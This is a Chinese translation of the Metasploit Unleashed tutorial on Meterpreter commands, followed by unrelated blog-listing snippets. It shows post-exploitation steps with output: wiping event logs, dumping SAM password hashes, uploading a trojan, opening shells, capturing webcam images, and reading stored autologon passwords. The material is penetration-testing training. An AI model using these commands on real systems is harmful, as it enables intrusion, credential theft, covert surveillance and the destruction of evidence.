技术标签: web安全 安全 Metasploit Unleashed文档 网络安全
翻译者说明1:本文为Metasploit Unleashed中文版翻译。原文链接:https://www.offensive-security.com/metasploit-unleashed/
翻译者说明2:为减轻翻译负担采用了机器翻译,翻译者从中人工剔除了机翻错误或歧义的问题,但难免会存在小问题,请读者见谅。如发现文章翻译存在问题,可在文章下方评论留言。
翻译者说明3:如果你喜欢这篇翻译,请给关注一下我并给文章点个赞,你的支持是给我工作的最大鼓励。
翻译者说明4:其他章节一并整合在专栏中,如有兴趣可关注专栏了解更多内容。
Meterpreter 是一种高级的、动态可扩展的有效负载,它使用内存中的 DLL 注入stagers并在运行时通过网络扩展。它通过stager程序套接字进行通信,并提供全面的客户端 Ruby API。它具有命令历史记录,选项卡完成,通道等功能。
Metepreter最初是由skape为Metasploit 2.x编写的,常见的扩展被合并到3.x中,目前正在对Metasploit 3.3进行大修。服务器部分以纯C语言实现,现在使用MSVC编译,使其具有一定的可移植性。客户端可以用任何语言编写,但Metasploit有一个功能齐全的Ruby客户端API。
无痕的
功能强大的
可扩展的
添加运行时功能
新功能通过加载扩展添加到Meterpreter中。
整个过程是无缝的,大约需要1秒钟才能完成。
由于Meterpreter提供了一个全新的环境,我们将介绍一些基本的Meterpreter命令,以帮助您入门并帮助您熟悉这个最强大的工具。在本课程中,几乎涵盖了所有可用的 Meterpreter 命令。对于那些没有被涵盖的人来说,实验是成功学习的关键。
正如预期的那样,help
命令将显示 Meterpreter 帮助菜单。
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
channel Displays information about active channels
...snip...
background
命令会将当前的 Meterpreter 会话发送到后台,并返回到"msf"提示符。要返回您的Meterpreter会话,只需再次与之交互即可。
meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
cat
命令与 *nix 系统上的命令相同。当文件作为参数给出时,它会显示文件的内容。
meterpreter > cat
Usage: cat file
Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis
meterpreter >
cd
和 pwd
命令用于直接在目标主机上更改和显示当前工作位置。
更改目录"cd"的工作方式与在 DOS 和 *nix 系统下的工作方式相同。
默认情况下,当前工作文件夹是启动与侦听器的连接的位置。
meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >
clearev
命令将清除 Windows 系统上的"应用程序"、"系统"和"安全"日志。没有选项或参数。
meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >
download
命令从远程计算机下载文件。请注意在提供 Windows 路径时使用双斜杠。
meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >
edit
命令将打开位于目标主机上的文件。
它使用"vim",因此编辑器的所有命令都可用。
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
.
...snip...
.
100666/rw-rw-rw- 0 fil 2012-03-01 13:47:10 -0500 edit.txt
meterpreter > edit edit.txt
请参阅 vim 编辑器文档,了解更多高级使用。
execute
命令在目标上运行命令。
meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
运行 getuid
将显示 Meterpreter 服务器在主机上运行的用户。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
hashdump后渗透模块将转储 SAM 数据库的内容。
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
运行idletime
将显示远程计算机上的用户处于空闲状态的秒数。
meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
ipconfig
命令显示远程计算机上的网络接口和地址。
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address : 192.168.1.104
Netmask : 255.255.0.0
meterpreter >
lpwd
和 lcd
命令分别用于显示和更改本地工作目录。
当接收Meterpreter shell时,本地工作目录是启动Metasploit控制台的位置。
更改工作目录将授予您的 Meterpreter 会话访问位于此文件夹中的文件的权限。
meterpreter > lpwd
/root
meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU
meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >
与在 Linux 中一样,ls
命令将列出当前远程目录中的文件。
meterpreter > ls
Listing: C:\Documents and Settings\victim
=========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 .
40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 ..
100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-used.xbel
40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data
...snip...
使用migrate
后模块,您可以迁移到受害者的另一个进程。
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >
ps
命令显示目标上正在运行的进程的列表。
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
288 snmp.exe C:\WINDOWS\System32\snmp.exe
...snip...
resource
命令将执行位于文本文件中的 Meterpreter 指令。资源每行包含一个条目,将按顺序执行每行。这有助于自动执行用户执行的重复操作。
默认情况下,命令将在当前工作目录(在目标计算机上)中运行,资源文件在本地工作目录(攻击计算机)中运行。
meterpreter > resource
Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >
root@kali:~# cat resource.txt
ls
background
root@kali:~#
meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2012-02-29 16:41:29 -0500 .
40777/rwxrwxrwx 0 dir 2012-02-02 12:24:40 -0500 ..
100666/rw-rw-rw- 606 fil 2012-02-15 17:37:48 -0500 IDA Pro Free.lnk
100777/rwxrwxrwx 681984 fil 2012-02-02 15:09:18 -0500 Sc303.exe
100666/rw-rw-rw- 608 fil 2012-02-28 19:18:34 -0500 Shortcut to Ability Server.lnk
100666/rw-rw-rw- 522 fil 2012-02-02 12:33:38 -0500 XAMPP Control Panel.lnk
[*] Running background
[*] Backgrounding session 1...
msf exploit(handler) >
search
命令提供了一种在目标主机上查找特定文件的方法。该命令能够搜索整个系统或特定文件夹。
在创建要搜索的文件模式时,也可以使用通配符。
meterpreter > search
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
meterpreter > search -f autoexec.bat
Found 1 result...
c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter >
shell
命令将在目标系统上显示一个标准 shell。
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
与download
一样,您需要对 upload
命令使用双斜杠。
meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading : evil_trojan.exe -> c:\windows\system32
[*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >
从 Meterpreter shell 运行时,webcam_list
命令将显示目标主机上当前可用的网络摄像头。
meterpreter > webcam_list
1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW)
meterpreter >
webcam_snap
命令从目标系统上连接的网络摄像头中抓取图片,并将其作为 JPEG 图像保存到光盘。默认情况下,保存位置是具有随机文件名的本地当前工作目录。
meterpreter > webcam_snap -h
Usage: webcam_snap [options]
Grab a frame from the specified webcam.
OPTIONS:
-h Help Banner
-i The index of the webcam to use (Default: 1)
-p The JPEG image path (Default: 'gnFjTnzi.jpeg')
-q The JPEG image quality (Default: '50')
-v Automatically view the JPEG image (Default: 'true')
meterpreter >
meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >
Meterpreter的python扩展于2015年11月添加到Metasploit框架中。这个补充是一个完美的例子,社区如何扩展,并为已经通用的框架Metasploit做出贡献。
在撰写本文时,该扩展仍处于积极开发阶段,但是此附加组件显示出很大的前景,因为它使用户能够在目标计算机上本机运行Python代码,而无需安装解释器。各种Python模块(如cTypes)的内存实现可以极大地扩展Meterpreter对受损Windows目标的控制。
在我们的目标计算机上运行活动的meterpreter shell时,键入load python
将加载扩展,使我们能够访问新命令。
meterpreter > load python
Loading extension python...success.
加载后,我们可以发出help
命令以查看Python命令。
meterpreter > help
...
Python Commands
===============
Command Description
------- -----------
python_execute Execute a python command string
python_import Import/run a python file or module
python_reset Resets/restarts the Python interpreter
python_execute
命令在目标上运行给定的 python 字符串。如果需要结果,则应将其存储在 python 变量中,并且该变量应使用 -r
参数传递。
meterpreter > python_execute -h
Usage: python_execute [-r result var name]
Runs the given python string on the target. If a result is required, it should be stored in a python variable,
and that variable should passed using the -r parameter.
OPTIONS:
-h Help banner
-r Name of the variable containing the result (optional)
将 python 代码文件或模块从磁盘加载到目标上的内存中。模块加载程序需要包含模块的文件夹的路径,并且文件夹名称将用作模块名称。只有.py文件才能与模块一起使用。
meterpreter > python_import -h
Usage: python_import [-n mod name] [-r result var name]
Loads a python code file or module from disk into memory on the target.
The module loader requires a path to a folder that contains the module,
and the folder name will be used as the module name. Only .py files will
work with modules.
OPTIONS:
-f Path to the file (.py, .pyc), or module directory to import
-h Help banner
-n Name of the module (optional, for single files only)
-r Name of the variable containing the result (optional, single files only)
这个是不言自明的。
meterpreter > python_reset -h
[+] Python interpreter successfully reset
以下是 Python 扩展的实际运行示例。随着时间的推移,将添加更多功能,使扩展成为更强大的工具。
加载扩展后,我们可以使用基本的Python功能,例如print
。这可以通过使用python_execute
命令和标准Python语法来实现。
meterpreter > python_execute "print 'Good morning! It\\'s 5am'"
[+] Content written to stdout:
Good morning! It's 5am
还可以保存到变量,并使用 -r
开关打印其内容。
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd
[+] cd = C:\Users\loneferret\Downloads
meterpreter >
以下文件位于我们机器的"root"文件夹中。它本质上做什么,搜索 C:\驱动器,用于任何名为readme.txt的文件。尽管这可以通过meterpreter的本机search
命令来完成。在文件系统中运行的一个观察结果使我们的meterpreter会话崩溃了不止一次。
root@kali:~# cat findfiles.py
import os
for root, dirs, files in os.walk("c://"):
for file in files:
if file.endswith(".txt") and file.startswith("readme"):
print(os.path.join(root, file))
为了在目标计算机上运行此文件,我们需要调用python_import
命令。使用 -f
开关指定我们的脚本。
meterpreter > python_import -f /root/findfiles.py
[*] Importing /root/findfiles.py ...
[+] Content written to stdout:
c://Program Files\Ext2Fsd\Documents\readme.txt
c://qemu-0.13.0-windows\patch\readme.txt
c://Users\loneferret\Desktop\IM-v1.9.16.0\readme.txt
再比如,这次打印一些内存信息,并使用"ctypes"Python模块调用Windows消息框。
meterpreter > python_import -f /root/ctypes_ex.py
[*] Importing /root/ctypes_ex.py ...
[+] Content written to stdout:
>WinDLL 'kernel32', handle 76e30000 at 4085e50>
metrepreter > python_import -f /root/msgbox.py
[*] Importing /root/msgbox.py ...
[+] Command executed without returning a result
当然,这完全取决于您当前的Meterpreter的访问级别。另一个简单的Python脚本示例,读取窗口的注册表中的"AutoAdminLogon"键。
meterpreter > python_import -f /root/readAutoLogonREG.py
[*] Importing /root/readAutoLogonREG.py ...
[+] Content written to stdout:
[+] Reading from AutoLogon Registry Location
[-] DefaultUserName loneferret
[-] DefaultPassword NoNotReally
[-] AutoAdminLogon Enabled
文章浏览阅读1.4k次,点赞2次,收藏14次。一、Hexo自定义 —晚枫博客—1. 动态标题打开博客主题文件夹,路径:themes/matery/layout/layout.ejs,在对应位置添加如下代码:<script type="text/javascript"> var OriginTitile = document.title, st; document.addEventLis..._hexo matery设置雪花飘落
文章浏览阅读248次。最近有空看了一下tomcat 6源码里面对session管理的实现,现在写下来,以供后考,也希望能对对此感兴趣的朋友有所提示。 闲话少说,先贴一下tomcat6的component层次图(此图来自tomcat doc) Server 就是一个servlet container _tomcat session管理页面
文章浏览阅读410次。今天是2015年9月22日,我得记住这一天,从今天开始,笔者正式开始FPGA的板级学习,希望早日成为熟练的设计开发者_fpga小白
文章浏览阅读4.5k次。1.一个文件夹删不掉,是权限问题,chmod 777 xxx。类似的,根目录下的root文件夹不能访问,也是权限问题。2.serial port terminal(linux下串口终端) CompizConfig(花样)3.source insight安装,得先装wine.4.删除非空文件夹,rm -rf xxx5.arm-linux-gcc -v查看arn-_chmod: 无法创建符号链接
文章浏览阅读998次。@synthesize 关键字6.1 问题: setter, getter的实现也是没有什么任何技术含量6.2 作用: 自动生成getter、setter方法的实现.6.3 语法: @synthesize @property名称; 如: @interface Person : NSObject{ int _age; } @property int age;..._oc synthesize
文章浏览阅读827次。关注了就能看到更多这么棒的文章哦~Fedora and fstrimByJake EdgeDecember 31, 2019原文来自:https://lwn.net/Articles/..._fstrim 服务
文章浏览阅读365次。Python学习第14天。学习内容:数据持久化、文件操作、数据持久化方法。一、数据持久化问题1:什么是数据持久化?为什么要持久化?计算机存储空间分为:运行内存和磁盘两种。程序中产生的数据默认都是保存在运行内存中,存储在运行内存中的数据在程序结束后会自动销毁。如果将数据存储到磁盘中,那么数据除非手动删除或者磁盘损坏,否则会一直存在,实现了数据的持久保存,存储在磁盘中的数据可以反复使用。磁盘存储数据的基本单位是文件。数据持久化指的就是将程序中的数据以文件的形式保存到磁盘中。为什么要持久化? _每次运行程序输入一个学生的信息怎么回事
文章浏览阅读76次。1、下载maven包apache-maven-3.3.9-bin.tar.gz2、创建目录mkdir -p/usr/local/maven3、拷贝安装包到指定路径cpapache-maven-3.3.9-bin.tar.gz/usr/local/maven4、解压tar -zxvf apache-maven-3.2.5-bin.tar.gzmv apach..._linux安装maven 3.2.5
文章浏览阅读6.4k次。本文主要参考自兜哥的《Web安全之机器学习入门》前段时间在研究WebShell的检测查杀,然后看到兜哥的著作中提到的几个机器学习算法中也有实现WebShell检测的,主要有朴素贝叶斯分类、K邻近算法、图算法、循环神经网络算法等等,就一一试试看效果吧。Python中的几个机器学习的库1、numpy:安装:pip install --user numpy2、SciPy:_webshell-master
文章浏览阅读1.3k次。索引匹配方式下面举例皆在索引 idx(name,age,pos)建立前提下全值匹配全值匹配指的是和索引中的所有列进行匹配匹配最左前缀只匹配前面的几列匹配列前缀可以匹配某一列的值的开头部分比如:select * from staffs where name like ‘J%’;这个语句可以利用到用name建立的索引进行查找。但是如果是 select * from staffs where name like ‘%J%’;就无法用到。匹配范围值可以查找某一个范围的数据比如:explain_索引包含( )模式匹配的查询
文章浏览阅读597次。这是一个用来制作shader的插件,也是一个很好的学习shader的工具。这个插件上手很容易,但是要用它来制作理想的Shader,需要下点功夫。这儿先列举出基础知识,以及我的一些实践。以后我还会继续学习并记录更多的内容。一、基本操作: 1)、截断连线:按住alt并右键 2)、框选:按住alt键并框选 3)、对于不认识的节点,右键选择what,出现API官网,可选..._shaderforge遮罩
文章浏览阅读122次。长东应用拟定在今年12月份发布,这是一款完全免费的高度自由定制的个人单机软件。本文主要介绍流程标题的高级定制、应用自由换肤以及应用发布前的预览功能。目录应用换肤与预览流程标题应用换肤与预览在自定义应用中,右键待发布的app,选择个性化设置。新建个性化设置,系统默认提供六种默认样式,分别为:暗夜精灵、挪威森林、铁血丹心、紫气东来、粉色回忆、酒醉探戈。也可以根据选项自由定制应用内的背景色、字体颜色,可点击上方预览按钮,查看效果。(1)预览 - 暗夜精灵效果(2_流程标题是什么意思